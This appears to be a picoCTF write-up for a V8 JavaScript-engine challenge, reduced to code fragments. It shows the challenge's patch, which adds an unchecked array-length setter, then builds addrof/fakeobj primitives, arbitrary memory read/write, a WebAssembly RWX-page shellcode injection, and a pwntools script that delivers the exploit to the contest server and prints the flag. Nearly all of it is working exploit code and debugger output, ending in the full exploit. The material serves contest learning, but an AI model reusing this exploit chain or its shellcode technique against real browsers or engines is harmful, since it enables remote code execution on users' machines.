diff --git a/BUILD.gn b/BUILD.gn
index 9482b977e3..6a3f1e2d0f 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1175,6 +1175,7 @@ action("postmortem-metadata") {
}
torque_files = [
+ "src/builtins/array-horsepower.tq",
"src/builtins/aggregate-error.tq",
"src/builtins/array-at.tq",
"src/builtins/array-copywithin.tq",
diff --git a/src/builtins/array-horsepower.tq b/src/builtins/array-horsepower.tq
new file mode 100644
index 0000000000..7ea53ca306
--- /dev/null
+++ b/src/builtins/array-horsepower.tq
@@ -0,0 +1,17 @@
+// Gotta go fast!!
+
+namespace array {
+
+transitioning javascript builtin
+ArraySetHorsepower(
+ js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
+ try {
+ const h: Smi = Cast<Smi>(horsepower) otherwise End;
+ const a: JSArray = Cast<JSArray>(receiver) otherwise End;
+ a.SetLength(h);
+ } label End {
+ Print("Improper attempt to set horsepower");
+ }
+ return receiver;
+}
+}
\ No newline at end of file
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index e6fb20d152..abfb553864 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -999,6 +999,10 @@ void Shell::ModuleResolutionSuccessCallback(
resolver->Resolve(realm, module_namespace).ToChecked();
}
+void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) {
+ __asm__("int3");
+}
+
void Shell::ModuleResolutionFailureCallback(
const FunctionCallbackInfo<Value>& info) {
std::unique_ptr<ModuleResolutionData> module_resolution_data(
@@ -2201,40 +2205,14 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
- global_template->Set(Symbol::GetToStringTag(isolate),
- String::NewFromUtf8Literal(isolate, "global"));
+ // Remove some unintented solutions
+ global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint));
global_template->Set(isolate, "version",
FunctionTemplate::New(isolate, Version));
-
global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write));
- global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load));
- global_template->Set(isolate, "setTimeout",
- FunctionTemplate::New(isolate, SetTimeout));
- // Some Emscripten-generated code tries to call 'quit', which in turn would
- // call C's exit(). This would lead to memory leaks, because there is no way
- // we can terminate cleanly then, so we need a way to hide 'quit'.
if (!options.omit_quit) {
global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
}
- global_template->Set(isolate, "testRunner",
- Shell::CreateTestRunnerTemplate(isolate));
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
- // Prevent fuzzers from creating side effects.
- if (!i::FLAG_fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
#ifdef V8_FUZZILLI
global_template->Set(
@@ -2243,11 +2221,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum);
#endif // V8_FUZZILLI
- if (i::FLAG_expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }
-
return global_template;
}
@@ -2449,10 +2422,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}
- isolate->SetHostImportModuleDynamicallyCallback(
+ /*isolate->SetHostImportModuleDynamicallyCallback(
Shell::HostImportModuleDynamically);
isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ Shell::HostInitializeImportMetaObject);*/
#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a6a1037cff..7cf66d285a 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -413,6 +413,8 @@ class Shell : public i::AllStatic {
kNoProcessMessageQueue = false
};
+ static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args);
+
static bool ExecuteString(Isolate* isolate, Local<String> source,
Local<Value> name, PrintResult print_result,
ReportExceptions report_exceptions,
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index ce3886e87e..6621a79618 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1754,6 +1754,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
array_function, DONT_ENUM);
+ SimpleInstallFunction(isolate_, proto, "setHorsepower",
+ Builtins::kArraySetHorsepower, 1, false);
SimpleInstallFunction(isolate_, proto, "concat", Builtins::kArrayConcat, 1,
false);
SimpleInstallFunction(isolate_, proto, "copyWithin",
diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq
index b18f5bafac..b466b330cd 100644
--- a/src/objects/js-array.tq
+++ b/src/objects/js-array.tq
@@ -28,6 +28,9 @@ extern class JSArray extends JSObject {
macro IsEmpty(): bool {
return this.length == 0;
}
+ macro SetLength(l: Smi) {
+ this.length = l;
+ }
length: Number;
}0x2468acf0ArraySetHorsepower(js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
try {
const h: Smi = Cast<Smi>(horsepower) otherwise End;
const a: JSArray = Cast<JSArray>(receiver) otherwise End;
a.SetLength(h);
} label End {
Print("Improper attempt to set horsepower");
}
return receiver;
}
macro SetLength(l: Smi) {
this.length = l;
}
SimpleInstallFunction(isolate_, proto, "setHorsepower",
Builtins::kArraySetHorsepower, 1, false);var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}$gdb d8
gef➤ run --allow-natives-syntax --shell exploit.js
d8> a = [1.5, 2.5]
[1.5, 2.5]
d8> %DebugPrint(a)
DebugPrint: 0xa5e08085179: [JSArray]
- map: 0x0a5e082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0a5e0820ab61 <JSArray[0]>
- elements: 0x0a5e08085161 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x0a5e0804222d <FixedArray[0]>
- All own properties (excluding elements): {
0xa5e080446d1: [String] in ReadOnlySpace: #length: 0x0a5e0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0a5e08085161 <FixedDoubleArray[2]> {
0: 1.5
1: 2.5
}
0xa5e082439f1: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x0a5e082439c9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x0a5e08182405 <Cell value= 1>
- instance descriptors #1: 0x0a5e0820b031 <DescriptorArray[1]>
- transitions #1: 0x0a5e0820b07d <TransitionArray[4]>Transition array #1:
0x0a5e08044fd5 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x0a5e08243a19 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x0a5e0820ab61 <JSArray[0]>
- constructor: 0x0a5e0820a8f1 <JSFunction Array (sfi = 0xa5e0818ac31)>
- dependent code: 0x0a5e080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1.5, 2.5]
gef➤ x/10gx 0xa5e08085179-1 <--- -1 needed due to pointer tagging!
0xa5e08085178: 0x0804222d082439f1 0x0000000408085161
0xa5e08085188: 0x58f55236080425a9 0x7566280a00000adc
0xa5e08085198: 0x29286e6f6974636e 0x20657375220a7b20
0xa5e080851a8: 0x3b22746369727473 0x6d2041202f2f0a0a
0xa5e080851b8: 0x76696e752065726f 0x7473206c61737265 - map: 0x0a5e082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- properties: 0x0a5e0804222d <FixedArray[0]>gef➤ x/4gx 0x0a5e08085161-1
0xa5e08085160: 0x0000000408042a99 0x3ff8000000000000
0xa5e08085170: 0x4004000000000000 0x0804222d082439f1d8> a.setHorsepower(5)
[1.5, 2.5, , , ]
d8> a[2]
4.763796150676345e-270
d8> ftoi(a[2]).toString(16)
"804222d082439f1"var float_arr = [1.5, 2.5];
var map_float = float_arr.oob();
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
var map_obj = obj_arr.oob();
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index 0
obj_arr.oob(map_float); // change to float map
let leak = obj_arr[0]; // read address
obj_arr.oob(map_obj); // change back to object map, to prevent issues down the line
return ftoi(leak); // return leak as an integer
}var float_arr = [1.5, 2.5];
float_arr.setHorsepower(3);
var map_float = float_arr[2];
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
obj_arr.setHorsepower(2);
var map_obj = obj_arr[1];
function addrof(obj) {
obj_arr[0] = obj; // put desired obj for address leak into index 0
obj_arr[1] = map_float; // change to float map
let leak = obj_arr[0]; // read address
obj_arr[1] = map_obj; // change back to object map, to prevent issues down the line
return ftoi(leak); // return leak as an integer
}var map_obj = obj_arr.oob();
var map_obj = obj_arr[1];obj_arr[1] = map_float;var float_arr = [1.5, 2.5];
float_arr.setHorsepower(50);
var float_map = float_arr[2]; // both map and properties
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
obj_arr.setHorsepower(50);var obj_arr = [3.5, 3.5, initial_obj];DebugPrint: 0x30e008085931: [JSArray]
- map: 0x30e0082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x30e00820ab61 <JSArray[0]>
- elements: 0x30e008085919 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 50
- properties: 0x30e00804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x30e008085919 <FixedDoubleArray[2]> {
0: 1.5
1: 2.5
}
DebugPrint: 0x30e008085985: [JSArray]
- map: 0x30e008243a41 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x30e00820ab61 <JSArray[0]>
- elements: 0x30e008085979 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 50
- properties: 0x30e00804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x30e0080446d1: [String] in ReadOnlySpace: #length: 0x30e00818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x30e008085979 <FixedArray[1]> {
0: 0x30e00808594d <Object map = 0x30e0082459f9>
}
DebugPrint: 0x30e00808594d: [JS_OBJECT_TYPE]
- map: 0x30e0082459f9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x30e008202f11 <Object map = 0x30e0082421b9>
- elements: 0x30e00804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x30e00804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x30e0080477ed: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}gef➤ x/6gx 0x30e008085979-1
0x30e008085978: 0x0000000208042205 0x08243a410808594d
0x30e008085988: 0x080859790804222d 0x080425a900000064
0x30e008085998: 0x0000000400000003 0x0000000029386428gef➤ x/20gx 0x30e008085919-1
0x30e008085918: 0x0000000408042a99 0x3ff8000000000000
0x30e008085928: 0x4004000000000000 0x0804222d082439f1
0x30e008085938: 0x0000006408085919 0x082439f1080423d1
0x30e008085948: 0x082459f90804222d 0x0804222d0804222d
0x30e008085958: 0x08045a0100000002 0x0000000000010001
0x30e008085968: 0x080477ed080421f9 0x0000000200000088
0x30e008085978: 0x0000000208042205 0x08243a410808594d
0x30e008085988: 0x080859790804222d 0x080425a900000064
0x30e008085998: 0x0000000400000003 0x0000000029386428
0x30e0080859a8: 0x0000000000000000 0x0000000000000000function addrof(obj) {
obj_arr[0] = obj;
let leak = float_arr[12];
return ftoi(leak);
}
%DebugPrint(initial_obj);
console.log("Leak: 0x" + addrof(initial_obj).toString(16))Leak: 0x8243a410808593d
DebugPrint: 0x28a60808593d: [JS_OBJECT_TYPE]
- map: 0x28a6082459f9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x28a608202f11 <Object map = 0x28a6082421b9>
- elements: 0x28a60804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x28a60804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x28a6080477ed: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}return ftoi(leak) & 0xffffffffn;function fakeobj(compressed_addr) {
float_arr[12] = itof(compressed_addr);
return obj_arr[0];
}// store upper 4 bytes of leak
let upper = ftoi(float_arr[12]) & (0xffffffffn << 32n);function fakeobj(compressed_addr) {
float_arr[12] = itof(upper + compressed_addr);
return obj_arr[0];
}// first leak the address
let addr_initial = addrof(initial_obj);
// now try and create an object from it
let fake = fakeobj(addr_initial);
// fake should now be pointing to initial_obj
// meaning fake.a should be 1
console.log(fake.a);gef➤ run --allow-natives-syntax --shell exploit.js
1
V8 version 9.1.0 (candidate)
d8> var arb_rw_arr = [float_map, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
%DebugPrint(arb_rw_arr)[+] Address of Arbitrary RW Array: 0x8085a01
DebugPrint: 0x161c08085a01: [JSArray]
- map: 0x161c082439f1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x161c0820ab61 <JSArray[0]>
- elements: 0x161c080859d9 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x161c0804222d <FixedArray[0]>
- All own properties (excluding elements): {
0x161c080446d1: [String] in ReadOnlySpace: #length: 0x161c0818215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x161c080859d9 <FixedDoubleArray[4]> {
0: 4.7638e-270
1: 1.5
2: 2.5
3: 3.5
}function arb_read(compressed_addr) {
// tag pointer
if (compressed_addr % 2n == 0)
compressed_addr += 1n;
// place a fake object over the elements of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array
// size of 2 and elements pointer
arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}// test arb_read
let float_map_lower = ftoi(float_map) & 0xffffffffn
console.log("Map at: 0x" + float_map_lower.toString(16))
console.log("Read: 0x" + arb_read(float_map_lower).toString(16));Map at: 0x82439f1
Read: 0xa0007ff2100043dgef➤ x/10gx 0x3f09082439f1-1
0x3f09082439f0: 0x1604040408042119 0x0a0007ff2100043d
0x3f0908243a00: 0x082439c90820ab61 0x080421b90820b031
0x3f0908243a10: 0x0820b07d08182405 0x1604040408042119function arb_read(compressed_addr) {
// tag pointer
if (compressed_addr % 2n == 0)
compressed_addr += 1n;
// place a fake object over the elements of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array
// size of 2 and elements pointer
// initially with the map and a size smi, so 0x8 offset
arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}function initial_arb_write(compressed_addr, val) {
// place a fake object and change elements, as before
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
// Write to index 0
fake[0] = itof(BigInt(val));
}let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
initial_arb_write(float_map_lower, 0x12345678n);gef➤ x/4gx 0xf84082439f1-1
0xf84082439f0: 0x0000000012345678 0x0a0007ff2100043d
0xf8408243a00: 0x082439c90820ab61 0x080421b90820b031var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;gef➤ vmmap
[...]
0x000007106675a000 0x000007106675b000 0x0000000000000000 rwx
[...]gef➤ search-pattern 0x000007106675a000
[+] Searching '\x00\xa0\x75\x66\x10\x07\x00\x00' in memory
[+] In (0x3c108200000-0x3c108280000), permission=rw-
0x3c108211ad4 - 0x3c108211af4 → "\x00\xa0\x75\x66\x10\x07\x00\x00[...]"
[...]function copy_shellcode(addr, shellcode) {
// create a buffer of 0x100 bytes
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
// overwrite the backing store so the 0x100 bytes can be written to where we want
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x14n;
arb_write(backing_store_addr, addr);
// write the shellcode 4 bytes at a time
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}payload = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b]
copy_shellcode(rwx_base, payload);
f();$ ./d8 exploit.js
[+] Address of Arbitrary RW Array: 0x8086551
[+] RWX Region located at 0xf06b12a5000
cat: flag.txt: No such file or directoryfrom pwn import *
with open("exploit.js", "rb") as f:
exploit = f.read()
p = remote('mercury.picoctf.net', 60233)
p.sendlineafter(b'5k:', str(len(exploit)).encode())
p.sendlineafter(b'please!!\n', exploit)
p.recvuntil(b"Stdout b'")
flag = p.recvuntil(b"\\")[:-1]
print(flag.decode())$ python3 deliver.py
[+] Opening connection to mercury.picoctf.net on port 60233: Done
picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}
[*] Closed connection to mercury.picoctf.net port 60233// setup
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// addrof and fakeobj
var float_arr = [1.5, 2.5];
float_arr.setHorsepower(50);
var float_map = float_arr[2]; // both map and properties
var initial_obj = {a:1}; // placeholder object
var obj_arr = [initial_obj];
obj_arr.setHorsepower(50);
// store upper 4 bytes of leak
let upper = ftoi(float_arr[12]) & (0xffffffffn << 32n);
function addrof(obj) {
obj_arr[0] = obj;
let leak = float_arr[12];
return ftoi(leak) & 0xffffffffn;
}
function fakeobj(compressed_addr) {
float_arr[12] = itof(upper + compressed_addr);
return obj_arr[0];
}
/* test addrof and fakeobj
// first leak the address
let addr_initial = addrof(initial_obj);
// now try and create an object from it
let fake = fakeobj(addr_initial);
// fake should now be pointing to initial_obj
// meaning fake.a should be 1
console.log(fake.a);
*/
// array for access to arbitrary memory addresses
var arb_rw_arr = [float_map, 1.5, 2.5, 3.5];
console.log("[+] Address of Arbitrary RW Array: 0x" + addrof(arb_rw_arr).toString(16));
// %DebugPrint(arb_rw_arr);
function arb_read(compressed_addr) {
// tag pointer
if (compressed_addr % 2n == 0)
compressed_addr += 1n;
// place a fake object over the elements of the valid array
// we know the elements array is placed just ahead in memory, so with a length
// of 4 it's an offset of 4 * 0x8 = 0x20
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// overwrite `elements` field of fake array
// size of 2 and elements pointer
// initially with the map and a size smi, so 0x8 offset
arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
// index 0 will returns the arbitrary read value
return ftoi(fake[0]);
}
/* test arb_read
let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
console.log("Read: 0x" + arb_read(float_map_lower).toString(16));
*/
// would normally be initial, but we hope and pray
function arb_write(compressed_addr, val) {
// place a fake object and change elements, as before
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[1] = itof((0x2n << 33n) + compressed_addr - 8n);
// Write to index 0
fake[0] = itof(BigInt(val));
}
/* test initial_arb_write
let float_map_lower = ftoi(float_map) & 0xffffffffn;
console.log("Map at: 0x" + float_map_lower.toString(16));
initial_arb_write(float_map_lower, 0x12345678n);
*/
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
let rwx_pointer_loc = addrof(wasm_instance) + 0x67n;
let rwx_base = arb_read(rwx_pointer_loc);
console.log("[+] RWX Region located at 0x" + rwx_base.toString(16));
//
function copy_shellcode(addr, shellcode) {
// create a buffer of 0x100 bytes
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
// overwrite the backing store so the 0x100 bytes can be written to where we want
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x14n;
arb_write(backing_store_addr, addr);
// write the shellcode 4 bytes at a time
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
payload = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b]
copy_shellcode(rwx_base, payload);
f();
// picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_3a9ef72562166255}